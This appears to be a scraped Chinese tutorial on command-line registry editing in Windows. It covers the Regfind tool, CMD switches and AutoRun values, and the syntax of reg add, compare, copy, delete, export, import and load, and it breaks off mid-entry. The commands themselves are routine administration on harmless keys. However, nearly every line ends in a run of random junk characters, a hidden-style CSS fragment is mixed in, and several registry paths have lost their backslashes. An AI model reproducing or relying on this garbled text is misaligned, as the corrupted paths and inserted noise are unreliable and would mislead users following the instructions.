/L:system Specifies the location of the SYSTEM.DAT file. =BzLBZ+z<ml {./,TYo  
/R:user Specifies the location of the USER.DAT file. fG8q?V-v*g(i`KRZo>>jD   
filename1 Specifies the file(s) to import into the regist uTBE?eK/Jkd3EkmW:`DT"  
/C filename2 Specifies the file to create the registry from. 4#Bv%r Mp"O 8~)HXPwwVEo5  
/E filename3 Specifies the file to export the registry to. 8-c#tYkAHHJ/d`G^RkeiQ4;E  
regpath Specifies the starting registry key to export from. .653Jx[_-@.q{aOgoE??$?}u?  
(Defaults to exporting the entire registry). .H+3AE*N5?  7_?L{3YK  
/S (Windows) Silent - no message on completion. >h&A @$)6A/~)^s;,"/-bY??O  
F[uM-#qN=wB@MsSq:x=rE  
从Windows命令行快速操作注册表 7L?+ )#6Mx'_ 7[HA,/jd*  
EQV],l _"Oeo:2Wel0k=T  
 每一个熟悉Windows的人都相信,通过注册表几乎可以做到任何事情,真正的问题是怎样迅速找到正确的注册键。 <M=>miKm3rVc5)- Yzo1  
;xqlSFk_N%:5C.5o*NbMPS.mCl  
  绝大多数情形下,操作注册表意味着找到某个特定的子键;偶尔地,可能需要修改一下子键的名称(例如,可能要进行结构上的改动)。那么,怎样才能迅速找到正确的子键并执行修改?另外,如果你不仅要改动本地机器的注册表,而且还要对 ~44 cOh/o1#FU]/2JZ\ H|7L(*  
远程机器作同样的修改, h’ v!smbx(q4[M<Z@4}h}P'_  
该怎么办?本文告诉你一个好工具Regfind。Regfind可以从Windows 2000 Server的Resource Kit Supplement One找到,或者从网上下载。Regfind适用于Windows的各个版本,包括Windows 9x系列。 hhS PM{Oh4yXF}~b\,v]{^$cej  
f7(J?/)D!::$-vNj  
  Regfind是一个命令行工具。不带任何选项执行Regfind,它将显示出帮助信息。最简单的用法是执行查找,例如执行Regfind "QQ",Regfind将找出所有包含字符串"QQ"的注册键,如图一所示。 Iwwx<("2GF9A[+MO\!  Xl[]6  
O~-M%C01ZG n{@9k(‘M%f  
  除了单纯的查找之外,Regfind还能够执行替换:只需在图一的命令后加上-r选项和一个替换字符串即可。例如,假设你公司的名称从AGroup改成了BGroup,现在你想要对注册表中所有的产品注册信息作相应的改动,只需执行:Regfind "AGroup" -r "BGroup"。注意,如果搜索字符串包含空格或标点符号,字符串应该用引号包围。 oa)EhYsTm Hw9yJ"Iq8pl&bo$R  
*UaQIX?qRlsq=G}#RF.\   
  如果要对一台远程机器作相应的改动,只需在前面的命令后加上-m选项并指定远程机器的UNC(Universal Naming Convention,通用命名协定)路径,例如:Regfind -m\\server03 "AGroup" -r "BGroup"。 ,)(V,u*W\FVe|oV(3lX(D H6  
5jpfK,P+<*I I`{v.6F3 >=  
  搜索整个注册表无疑是一件相当耗费时间的事情。为了提高效率,你可以将Regfind的搜索操作限制到某个注册表的分支或子键,只需要在-p选项后面指定要搜索的注册表位置即可。例如,假设要把搜索"AGroup"的操作限制在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft子键,并把该子键下的AGroup替换成BGroup,执行:Regfind "AGroup" -r "BGroup" -p "HKEY_LOCAL_MACHINESOFTWARE\Microsoft"。 DP?_y (}59SRv,LIo_GCVO_+*L  
6D8qJ’Jy]I \0$5k$0(dNk F g  
  通过上面的说明可以看出,Regfind是一个很方便的工具,但白璧有瑕,有时候你仍会感到它不能满足要求。首先,Regfind不支持通配符,也不支持正则表达式——而这两者对于执行复杂搜索是非常有用的。唯一一个给搜索操作增加灵活性的选项是-y。-y选项使得Regfind的搜索操作对大小写不敏感,即如果你执行Regfind AGroup -y,则Regfind的搜索结果中将包含AGroup、aGroup以及其他字母大小写的组合(如果没有-y选项,Regfind默认对大小写敏感,但Regfind的命令选项对大小写不敏感,例如你可以随意使用-R或-r)。 itbQ’^-+>D :~ 7 (BITsMqk7  
>OwzI cHEeClb&.;O/V~KF  
  第二,如果用Regfind执行搜索/替换操作,它将替换所有找到的字符串,你不能要求Regfind只替换其中一个字符串。勉强可算是补救策略的方法是:将搜索操作限制在某个特定的注册表分支。因此,我的建议是:首先用Regfind找出所有匹配的注册子键,然后用Regfind执行全局替换或手工修改某个特定的子键。 Nov-W’[\ WA~SFIw<>eXiKjT  
yle="FONT-SIZE: 0pt; COLOR: #f5fae7">NM,}Ns1'64v ;gZP+E0R  
  第三,如果你想要修改数值型数据,Regfind似乎算不上最佳帮手。这是因为,许多要处理的REG_DWORD值不是0就是1,而0和1在注册表中出现的机会实在太频繁了,很可能出现误替换的情形。解决问题的唯一办法就是尽可能精确地限定Regfind的搜索范围 I=X7t rM"Cx3f)0@4fZKU  
J<+,u.=n0r# B&+"eA$*:!H  
命令行方式直接修改注册表 ]zB2NTjCZ+F`k"DQE\Jh{  
F+C"-b}2|)!gOL88T5rKgZ?  
一、CMD &&YQ4/-6{T B(ZW!JeTNk <zN6  
cmd是windows2000中的一个小得如鸽子蛋一样的程序,是一个所谓命令行控制台。有两条进入该程序的通道:第一,鼠标点击"开始->运行",在出现的编辑框中键入"cmd",然后点击"确定";第二,在启动windows2000的时候,按F8进入启动选择菜单,移动光条或键入数字至安全模式的命令行状态。出现的窗口是一个在win9x系统常见的那种msdos方式的界面――一个黑乎乎的窗口.甚至还没有msdos方式的窗口耐看:连常用的工具条都没有放上.我真想不通,贵为最新的操作系统,因何还保留似乎是石器时代的dos界面呢?像往常一样,习惯性低在命令后面键入:cmd/?,想看看会提示些什么? P’)Frn{ #5^+}j3o6NI!Cv’-Zq  
  孰料出现的东西使我大吃一惊:1.这些信息是中文的,要知道原来纯dos环境可不会直接支持中文呀!2.有相当详细的帮助信息.3.界面虽然是命令行的,但却可以对很多深层次的项目进行操作,,例如修改注册表等等.后来的使用也证明,cmd实际上也能直接调用图形界面的程序,并在调用结束后可以返回到命令行界面. ZU99cw* 0 ?I,HG, l85SCi  
  尽管微软把这个工具当做命令解释器一个新的实例,但使用的方法却和原来的dos没有区别,打开命令行窗口之后,可以找到与dos相同的系统提示符号C:/>,命令必须键入在这个提示符的后面,以回车键确认. eL=4Z +&}-3L?ow|>Va 23]’  
  完整的语法如下: :,"{H}8IIi:[Y2,DUUC9~r~a  
   CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF] Z; FP5 yQD77]?6s!cm78?  
   [[/S] [/C | /K] string] xl’(%KAe4CL[}[W] e# 7it/B  
   各个参数的含义: FqsZ:hMqWz%;c2′;’YJG1}l*  
   CMD:是命令名称,这可省略.以下是命令所用的参数或开关. :-{_ 6i$k`>r#XR,x_X(f!U  
   /C 执行字符串指定的命令然后终断 Y_j3X$-)o u(0hV4;E{-UDgw  
   /K 执行字符串指定的命令但保留 8840^hZh!L-\z+lA} yz(  
   /S 在 /C 或 /K 后修改字符串处理(见下) lb<$I20b%l2~N+nVqxQ? p2k7v  
   /Q 关闭回应 1`8 Y\=#oWV,1>O<b/;w_>c_i  
   /D 从注册表中停用执行 AutoRun 命令(见下) 6 6-7A’ 0Tb/QG*CD9×9  
   /A 使向内部管道或文件命令的输出成为 ANSI +4*gv iw@xZuWR[^IN811s18V  
   /U 使向内部管道或文件命令的输出成为 Unicode L[E 64{~b@N$UZ9H7e;{>Ybn  
   /T:fg 设置前景/背景颜色(详细信息,请见 COLOR /?) gg8ea9I3"-oy#T:N_Hr1 4w/B  
   /E:ON 启用命令扩展(见下) {G2kg8e'V RcMNf^MsI`o,N%Y  
   /E:OFF 停用命令扩展(见下) bfiE19K^ a(T$U=gkUZ0U deq  
   /F:ON 启用文件和目录名称完成字符 (见下) aS<t+jO\WNlMx*DRQd|{A{j9}K.  
   /F:OFF 停用文件和目录名称完成字符(见下) 3p,;s@_c$t1}c*d<ev K\G.  
   /V:ON 将 c 作为定界符启动延缓环境变量扩展。如: /V:ON 会 .^D1z2MNFfq ;gE!cD&~,}  
   允许 !var! 在执行时允许 !var! 扩展变量 var。var 语法 VfB1OVJMrUII |7G;q:c;FV  
   在输入时扩展变量,这与在一个 FOR 循环内不同。 oB$3w2,oakThUBkdk&cO hU!  
   /V:OFF 停用延缓的环境扩展。 vacnpXIOU>i8n`dXJn"I|t  
   "l A3xGX$}J0'v/UMa\OH  
   请注意,如果字符串有引号,可以接受用命令分隔符 '&&' 隔开 7@.$-^C4MBAhiU2fV7f) W  
   的多个命令。并且,由于兼容原因,/X 与 /E:ON 相同,/Y 与 f)Q[L_G$.Ox,"fb7s&s*  
   /E:OFF 相同,并且 /R 与 /C 相同。忽略任何其它命令选项。 8}:&Y!Q6w,~v0BRYnO:0.u\  
   J*h%o`'{rl"'%+mpXLJ 0R;U4v  
   如果指定了 /C 或 /K,命令选项后的命令行其余部分将作为命令行处理;在这种情况下,会使用下列逻辑处理引号字符("): Q}!D cN;'\C=AQVj!!u7(nv nF  
   &b |Io- v.U]W) M6v0Q*;C[>0  
   1. 如果符合下列所有条件,那么在命令行上的引号字符将被 Y3m`lTY=C\q:8TB]il.S4′T  
   保留: V8vqlR#l4e RLNVe1>&7/D  
   Z,c;Z1UmARSR8′gf o?)jcK<  
   – 不带 /S 命令选项 =#w\>$  u 7lN6 !K`\E2 r<   
   – 整整两个引号字符 UD(62??z_kfR-y! sA>u U’  
   – 在两个引号字符之间没有特殊字符,特殊字符为下列中的 ?Cd|tIB.8,/tB~X=E-3gQ$R6q <  
   一个: <>()@^| 4{5u.,01[m>$ jLX,=4=2-  
   - 在两个引号字符之间有至少一个空白
字符 >3RU"* 4(n v5u")t"2/|"p7 ,F'  
   - 在两个引号字符之间有至少一个可执行文件的名称。 B:g.'<CRhtkPLoD1/inVr j`c  
   Kd>pMOp+Zf\!8 I}X6%#}\W  
   2. 否则,老办法是,看第一个字符是否是一个引号字符,如果是,舍去开头的字符并删除命令行上 的最后一个引号字符, 保留最后一个引号字符之后的文字。如果 /D 未在命令行上被指定,当 CMD.EXE 开始时,它会寻找以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或两个都存在,这两个变量会先被执行。 4;s~"_q},/<N B!,u2v  
   HKEY_LOCAL_MACHINESoftwareMicrosoftCommand ProcessorAutoRun Enw*B X('%e4_{0T7yywwI'  
   和/或 m,u44HAR6"VMh_a[{7 R9iBi  
   HKEY_CURRENT_USERSoftwareMicrosoftCommand ProcessorAutoRun A\CU,)`@)!6v%{zp_1 H52F  
   命令扩展是按默认值启用的。您也可以使用 /E:OFF,为某一特定调用而停用扩展。您可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有调用的扩展,这要通过设置使用REGEDT32.EXE 的注册表中的一个或两个 REG_DWORD 值: vZ^0{_e@WWEZ~3AO-j:/A  
   HKEY_LOCAL_MACHINESoftwareMicrosoftCommand ProcessorEnableExtensions u{i+Abwb6En44S0 /3.| v  
   和/或 RmTtX1V;0&LKrG5Ul[EC$[M  
   HKEY_CURRENT_USERSoftwareMicrosoftCommand ProcessorEnableExtensions LU},2uW2X@E\-i"5OO_|oL|FW  
   到 0x1 或 0x0。 用户特定设置比机器设置有优先权。命令行命令选项比注册表设置有优先权。 ~oN6;J Y(*B|2#!6P[N  
   原来的dos中有所谓的内部命令和外部命令,在cmd中,引入了命令行扩展,你可以在cmd窗口中直接执行下面的扩展部分,扩展部分之前不必加cmd. $`a4>O{I\8W/W x q(`1r9c cK  
   命令行扩展包括对下列命令所做的更改和/或添加: IXb _Fi/q3RCM*53%$'qt v)y[2  
   DEL 或 ERASE a[mXakF =8x0t\#I`yut  
   COLOR sRFh&qyZW7djV)(!h}TC1$rO/  
   CD 或 CHDIR J.TF8ril0^jGYr%q^18p~ b"y  
   MD 或 MKDIR "nl7+(.ytXo_@JP^Z-(mAmq  
   PROMPT J1t9D/3$\,mkP\zdmU$-dOG1o  
   PUSHD RqRM8!Olfz2+v36K.|6$V  
   POPD W><N7~x HeyV(al8 [).fW*@  
   SET "xw (uYMQl_#DWZ*TU&>q5C4  
   SETLOCAL /hi#]r03H>;!yHniGp%H /(  
   ENDLOCAL sc+nu8U!B#h?*H 4(:5l%  
   IF -PGeXJ.Ud6olh/[cR62cTg{  
   FOR 5FEF;nX[\P\{*,fCJ|vD%\\t  
   CALL B5.?@3.u|3v .c?CgG"TY`A  
   SHIFT |*N2 mKiD@L7+K\zkpNunQ:Fu  
   GOTO KtgyU0@/=I1dU *8z7#c_J  
   START (同时包括对外部命令调用所做的更改) :kF afRPY&zh[\2\.:  
   ASSOC :2(DaZ| |$ 5%|aI'Q "-]mj4DN  
   FTYPE g7?iz _NM <1pT2 1Rl Ebm+  
   p,kH W Ww"e%${6CNQT Y{Zf  
   有关详细信息,请键入 HELP 命令名。 Vn7fS,.w8i$t8mwL1%G@|"6  
zit Mv;iQ Q/|.:kV#KWgnpX!s  
二、REG TY-n6 /rohq6{L+!;CK]~T5yWiz  
可以 WindowsXP提供的reg命令行就可以做到。 I#2D!jtOZ=/6B~q.G?#5}`"  
Reg添加、更改和显示注册表项中的注册表子项信息和值。 Cn<R{&)Q4+0}^e.#usrXE _  
7#f ?9VvKA{! iDLO?{[:X$xFY  
若要查看该命令语法,请单击以下命令: L]Iwn4Cd;x’ayONFy cFD_{9  
P^u5)RQNGD Bi>~< ` ,&1=  
reg add IY]p %|;J7ew3L_CeS:a&^  
{ LVr<P}]^YN,fTa_{n t\HY]z  
将新的子项或项添加到注册表中。 :_.HX"+]K&oA2Gr 0x% aOr+  
USWNX$QA`m#?;m-!~?bZa8>3i.  
语法 V 2V>TBi6f3Zy>Ro]q5na Rh  
reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f] @cj=4KV},5%mC~{&@|c=P mW~z&]  
!JCd)i?’Uf*Gw!~Oe6Mq*|  
参数 "?^8m2- X-ZWBQhj_We.;5xU  
KeyName S_jC%z1Rw($m[AlFz1PQl!F  
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 ` d2}-PSyLa5@9NC4KB s,1!l  
/v EntryName bn7} 2WCJs{Rj\47Fa^ZZ  
指定要添加到指定子项下的项名称。 ?#D@2]FmJZV2,F26~`.!x4"K  
/ve rC51.}(Fa*5ozFnNx`pYYT%j  
指定添加到注册表中的项为空值。 488x}QrH-xL|b7kZ oT&jO9.A  
/t DataType A8)rWE=+` ZIKO00!{~(&r"hK  
指定项值的数据类型。
DataType 可以是以下几种类型: i?{dKY 2KLd~"z81> ko,l j  
yV/W[ 5?l% jgY3gfebin"uA?  
REG_SZ DK2Aq<r^sT1tNeY,`h6h22h  
]ile $boBDmLx >"F&+pt.O}1 W  
REG_MULTI_SZ Lm+El0~;~dM @E+& @yF,i!  
pt`n>Y:k ,:h =@R>&x.?Ct  
REG_DWORD_BIG_ENDIAN 3Uvu4HJ0ErJtTz!(FTT. oP  
rIap<t N &! /kk~`8T ’Se  
REG_DWORD ww*+K;I9uMG,J-~6&1′P#RP  
K3)r#5XJ%h!Ws$5eQhK2\ t`/  
REG_BINARY /4w-spB6/LLg%AnIH7?2jN_\|  
SI?z\`I’}wxC J"q)^K~#0fuF  
REG_DWORD_LITTLE_ENDIAN  1L~D=LJf%0 uG\"dD)* yJ{  
1vAd)Fsjm<4E El Kcq;  
REG_LINK n4"uySv{EA4=~g}H=w’6/z6Hw  
+=bu(!a4)b[(Z" rZ$)  
REG_FULL_RESOURCE_DESCRIPTOR 5]_(>]&cj [ /# \nlMHPCGQ6  
YRU?a{ZLl]v.!^:“i.dAc?  
REG_EXPAND_SZ ZR&DfsFv!/0VD:`vA[`@OT  
jtM9H $30{CB6KaiLn^%y}8  
/s separator H2-g}^/n>45J V '"5ty )  
指定用于分隔多个数据实例的字符。当 REG_MULTI_SZ 指定为数据类型且需要列出多个项时,请使用该参数。如果没有指定,将使用默认分隔符为 \。 3^l^m06Gt:s)D&N'>lW  
/d value >~c4q \39Rq*pGoT PK[gg -y]^wq  
指定新注册表项的值。 XUR:#zncC7h{ufMQu-ySb[K  
/f ( ?*92D}Y,CYxX%fg!A**mhKp  
不用询问信息而直接添加子项或项。 :4J7Ak +jo7S6t} ;E$VDjM@+ {1  
/? bRny <S[v?~+)w]7OM~RPz<  
在命令提示符显示帮助。 |MxMlI.k8fV[pB&SPK]L4suP  
注释 5’FFJvfDg"\Jq Y#/.=B  
该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。 XE#r.Eeu$B^a]5Cs:ZX@7  
下表列出了 reg add 操作的返回值。 值 说明 k4$8&OBu"o%XPdfnq X_~:g  
0 成功 ="qiH|fe$q s@lLq8}$%^g`7"  
1 失败 5′6eb~ -fFsr:tyG5ybuTvq,  
{{KO|t+>1)a"W,si’;`M  
范例 -a1fVc-.Y)g:K9XoS<ooJ  
下列范例说明了如何使用 reg add 命令: b a!*v#yI(aco8N9$SQ@> &l’[.E  
kcD"_M g"G-uk5&e/Z{K  
reg add \hklm\software\myco /v data /t reg_binary /d fe340ead QBy[n "kqa[A*?Z(g%EG ,e`z  
reg add "hkcu\software\microsoft\winmine" /v Name3 /t reg_sz /d Anonymous zbo9bSWF$yo*s(` 2b< C"L  
reg add "hkcu\software\microsoft\winmine" /v Time3 /t reg_dword /d 5 wo}j.8%~&8U@}*j?9# i  
WZq$>M'ie/!&G?W\>Q1Pp%GtpQ3U  
reg compare >,y M{\~9l}VT[</wKvF54E"'  
C'.Z&IPwxQN"!il'rKBe1xeZ<U&  
比较指定的注册表子项或项。 5HFpNj3/s?<^t &lL^5"9C!l  
2qwwlhT #BvKo'J]=GDpj#  
语法 7`BDN’$S,\:eYULtz[>3gx  
reg compare KeyName1 KeyName2 [/v EntryName | /ve] {[/oa]|[/od]|[/os]|[on]} [/s] 0,4`B #3>8:Pg68frSv~’q  
J X;i-3 _sD6w[89b ;   
参数  qM<emQ8UAV?Qt.| Yt$B e  
KeyName Dqw3G@Cg,S,)KH9 oa6HwN  
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可使用 HKLM 和 HKU 子目录树。 I2]u~&Ez(6uC uj^SDY-%9uR  
/v EntryName i<1_a=0?n’-Jj?\=]6Rxzk}  
比较子项下的特定项。 .{LgRfjDy1U9O=q"fDr\  
/ve Hu/Hz110TyrVDr<l_*BM=%Np"O  
指定只可以比较没有值的项。 yt!y;%g5kZsJ9_0d 6H1#C.Zs  
{[/oa]|[/od]|[/os]|[on]} muF-/Tqhoh]w ;"w&0o:yKGv  
指定不同点和匹配点的显示方式。默认设置是 /od。 值 说明 =* qh/tvBh dJK\`PA:?  
/oa 指定显示所有不同点和匹配点。默认情况下,仅列出不同点。 Ok+[2G hy#An(t<2@ .]nXe+m>v?  
/od 指定仅显示不同点。这是默认操作。 ccg"ABbRT~^?di – X,i  
/os 指定仅显示匹配点。默认情况下,仅列出不同点。 P>%-TMv{ga xoK’a5|"\’zv>.+  
/on 指定不显示任何内容。默认情况下,仅列出不同点。 4I%RE kE(Y (1 SH(D##c  
8EW2^zJt-eZcOuFb\’HGrr$5`  
/s Separator >$bib,T};h><Y=V6,$= \[C  
比较所有子项和项。 c)2@i5p)d)jq~va:&jFi w5`d{^t  
/? ?Z3XYPk9dE@7I brc(NFCh;Mn  
在命令提示符显示帮助。 ##Rh3w6. M>k>-"Pei J|$/  
注释 _B.&bO+'^>."op!+[^X&z^6ne  
下表列出了 reg compare 操作的返回值。 值 说明 s|g+QSXf c>sX"Y"4K$f/  
0 比较成功且结果相同。 SnA&fN>TWy b|7!vC=Qt "&1OMW  
1 比较失败。 u>:3JGW-cR\ S $W;@qH~K(V3m"V  
2 比较成功并找到不同点。 "rUS:`WG"?c`SMp<\[/XMFw!o  
 x:3JIMq&-? q:^Znf:%q%>`  
范例 uH7yuhs' !)iRS`R6/+Dg  
下面的范例说明了如何使用 reg compare 命令: j)^= K*hOL#b"L X>o-6,9(  
@Bk7mh+~?U;/{B)%bY{K<+<k  
reg compare "hkcu\software\microsoft\winmine" "hkcu\software\microsoft\winmine" /od /s TB#Kc(#\n&$2{VhZWP.e  
"< 9*R_4*<wL!M@3DIa<$Q !  
reg copy ;P1F" JmeK]0" 3${u/m1  
%)GLvEKv=T}fwi8NuAB)AAlP  
将一个注册表项复制到本地或远程计算机的指定位置。 k" CVcYa[]7?2O:f_2yM 4J  
Y>l!dyo<f;6p]y84Br"}twV  
语法 {_6k/M BI%nXgT$(J! F|\H  
reg copy KeyName1 KeyName2 [/s] [/f] NeqW7jK0x[[!3K$iby[$  
g]?/C5JW5oIp`C)oYaB*’H  
参数 e0Ha4 4NIOI1kVG0Xz`  
KeyName1 y2 Je6oiTs4mT*8~^"98fc  
指定要复制子项的完整路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可使用 HKLM 和 HKU 子目录树。 9o#,P3<~R+h)09of]"C0’ub  
KeyName2 7aw/WP<&[0u`\i[\Mwc1_?O Y  
指定子项目的地的完整路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可使用 HKLM 和 HKU 子目录树。 ]/V; 75gCx4JAbDwrR@s /&/  
/s Ony.>b\/Y<{5"N" _=Abc PIE  
复制指定子项下的所有子项和项。 Q9 0QI0,1"wA: WVWy}’bR  
/f O(Z>\W7L O fZ-r3DTz2YMsD#  
无需请求确认而直接复制子项。 *|/}zw sbg}>:U#\2`HNILbLwH  
/? sUW #{1(yDDF%.,W2xeL’MhG  
在命令提示符显示帮助。 \r8w  =/Zh^j xkmpD  
注释 u .)rxt(33;4wEv{i"r[Z^DY  
该版本的 Reg 在复制子项时无须请求确认。 re zLyP]z/JD6d<_nis  
下表列出了 reg copy 操作的返回值。 值 说明 t`P3g_lMc!rrHrmT4YeAdQ  
0 成功 w3?>oU&#}YY0R:amhk|h*/4  
1 失败 nq:s}ZjF#QE=8 M5n`SQ!h"  
:U5mA;[/rl<++tS.bb-*.ea  
范例 !2W[x S+$6@+K/U=/U$0_k6/-  
下列范例说明了如何使用 reg copy 命令: v-v-no jl[ =@1mmE(Flip /  
ZqXeE -u9q0L"o AFf;nv%"]  
reg copy "hkcu\software\microsoft\winmine" "hkcu\software\microsoft\winminebk" /s /f ?veS1w0]`_ Y0AkN1UcQ7[p%)k7  
reg copy "hkcu\software\microsoft\winminebk" "hkcu\software\microsoft\winmine" /s I0Kun>^geAA$J+G%IwI-W#  
qkU-#!X98SVF/ >)$~Jmp`T~  
reg delete flz]o U\-)y/t ]Vts93duT37  
_Y2U/6%ZZ|k!/0 EqCLXlp}o  
从注册表删除项或子项 oGaI8Cz0>v? 1 {g~#<_~E  
ymXya_7]j`^E3T4z^* .<=s4  
语法 18f8@ N fLUo9SjiC7GN@EX  
reg delete KeyName [{/v EntryName|/ve|/va}] [/f] lv") DPx,nB i% AS u7Syj? 8 Z  
\P=`*{JJ )|rJ),2HP  
参数 xJMlpT1|IK wKIrmQwd(W9  
KeyName u1U9sO0GpX%QlZ)pw l5D*$-  
U}s0My{v?Bx((5jhmE)j"nCJ  
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 8EKgb{XAj<I{b&WJG\mIHp  
/v EntryName f% 6A{_.3l_x7yj}BztV!  
删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。 9!,sEbGJ5sQ[kL#N)!l%t[I1  
/ve pAF:Dqlg)!A6\nE +Zu32  
指定
只可以删除为空值的项。 1~?=*.+*c69E_n_:a|Uz)Qnu  
/va m Scc(0kIw"t> <dU7?.  
删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。 p6!..WHLuH (V"|~S7c=5!&  
/f )su]Xh-mWCJNxILxl;"xh  
无需请求确认而删除现有的注册表子项或项。 5~gZ"29l2\46 @VLcnBf10^`  
/? ^Q[p0>+|qyr0|j38y{#} Y  
在命令提示符显示帮助。 e\(:Yo|j2o#AUq^J%Ip5LDXZ5  
注释 ey 4>(2] #.XUQ ZLVV&A lQ  
下表列出了 reg delete 操作的返回值。 值 说明 <2 z_VB\s6 GHhhuTA;EVI  
0 成功 ~4M\ q7.jS]Vq l>ed%59O  
1 失败 Edg9 Ag5~8`{"I M“521  
u4A2m’,HXiY\(Qan(o!iBNn_D?$  
范例 a|r>T ZZA9k f$/Y’"rAp9=  
下面的范例说明了如何使用 reg delete 命令: Yq^2F~g}`\Ec\krMq2 Z[:?  
vWR, [\]4=1cH2+}@4rBBxBf?o  
reg delete "hkcu\software\microsoft\winmine" /v Name1 <*5df$6 &@* BGD&,*0+h/$"s;  
reg delete "hkcu\software\microsoft\winmine" /v Time1 ;I3`’\RnL)1;7f6Al.oP[  
reg delete "hkcu\software\microsoft\winmine" /va %E+kef>P0;?hA pw)]RrR’  
+WClSY$B\$E ` jp-r6PS }ii`whB  
reg export Tyxg =Z <t3SrF /K+;<fkz:B=+  
I$X Zz51OJ2p,]pS`v (n  
将指定子项、项和值的副本创建到文件中,以便将其传输到其它服务器。 *KT1#Aomj6U$VvzH1M>$$6(48  
Rj`Io?.<Fp_9[[X$Tuu)r eXo  
语法 L W97xkIn\[7"/BeRnFgg|p[-  
reg export KeyName FileName x4loeeL{hSA4}e)B0Vs ~> ws  
X0l{H\\+'.Ck~v R,mo(*7#^Az  
参数 Nkgo2oi'GwWo(~ Ow}=s8x  
KeyName dc0~;&7!pcN $I bD>~:odJI3  
指定子项的完全路径。Export 操作仅可在本地计算机上工作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 kR9,yn;} +&4ju$uXUpU A& R  
FileName hSUPHnxJx]{^)gl )1  
指定要导出文件的名称和路径。该文件必须具有 .reg 扩展名。 8 W Xw’_kK:0S69"Qj  A5  
/? Lm!Rd}VKk > (;n-=NiU ?Bj9  
在命令提示符显示帮助。 FB9<q’ K uW!RAB;i3lzSf  
注释 [K48o9*M )K}~B pa aTGo  
下表列出了 reg export 操作的返回值。 值 说明 xkS,0 y?^l.G7cxUn^,W V  
0 成功 E - mG@/PyDtC)-ESAI8W"+  
1 失败 j&Zt2H/wh4$)J| U},{ QF}G5jb  
0:F~ >Vs_$u\e&S!lQv1f=9p@L  
范例 }!Ylq@r1NwDOR&r=pS&j #J  
下面的范例说明了如何使用 reg export 命令: 1L;7]d’dFOsxl_[*4DlP]2MPE  
R&}[T >q0*_ K4JH$n(ut  
reg export "hkcu\software\microsoft\winmine" c:\data\regbackups\wmbkup.reg RPm{?5 Xl^':c="UI{bXO}W|  
WRK< W#Loj JYau EA=IB a}  
reg import <ceJ=nq ^nQ?n~$#Uan 3J  
O1*p _GGo~qrt8Ip.vd  
将包含导出的注册表子项、项和值的文件复制到本地计算机的注册表中。 wVIk*~,n v3f13+t~_Xq;j^  
Q<z=#)Um]-?c=JqZ+K xVW"$9]xE%  
语法 s6Ko2.af#ss}’225 6  
reg import FileName Rd&L,{A  X`wK saD4Xo   
g4`Jqt[1Z.{-#!r2`Pe~cjSCgM  
参数 P%R$Q`u*{&]lg|)Ve0O:A3\?|X,$  
FileName [VKL9g !z3M~+MSTpuGN[Z  
指定将复制到本地计算机注册表中的文件的名称和路径。必须预先使用 reg export 命令创建该文件。 RI;If#kn{X%"w;}1\xNWNN  
/? i707wwv` dp$a0lm2jlcoibev2R  
在命令提示符显示帮助。 O|WEcv*#y W[7HQ}Ei -O2  
注释 I. l>e er'}a>lK :XDJKg}.$"  
下表列出了 reg import 操作的返回值。 值 说明 c}<L^YMg?)*S7Rvm)&aIm  
0 成功 ":/^'^~.G+;| xPTtwEF  
1 失败 duRyL90UQUB!b({!X;fkCRS.9  
pA Xc(Z9AN'%jd_>>XFo  
范例 b].!efP\X}1~c:QbY6@2&qx’so|  
下面的范例说明了如何使用 reg import 命令: dl1*cZg#f+>C6%TiQ5 4w  
C/n >oU(Lf v-7CR}&-|e  
reg import hkcu\software\microsoft\winmine" c:\data\regbackups\wmbkup.reg G T_q<j^jUj}$$ 9"_Y-2 v~^  
Q.fO5m)9}:E\Y’R6%DlPG@a1Yt n> 
reg load #V1;DC>XdyZ/:vNpZ [#?.Vv~M  
 o{G\t-[B 0*_NTh:%PO_CN  
将保存的子项和项写回到注册表的不同子项中。其目的是保存到一个临时文件中,而该文件可用于注册表项的疑难解答或编辑注册表项。 H'H"G%|r;QFrEk\Fl%TlOwLP  
9!1y#](ydFZ|4s2Qkj T  
语法 {-’S2e |L$KKM4lX0*<  
reg load KeyName FileName $6:>K21q^>RRkscRiGA[Yv  
#GKR9f{6#F33K^+6o"YN)hIRo  
参数 J%0-U+ze?EbMY`D #'kO0f  
KeyName UL+).`?82/Q!YS!?v7xDE4$  
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 v@[1@ *n bD'0Yfn*B;FAj)?q  
FileName L?Wus[p 4Q5 [ b; Xex`W  
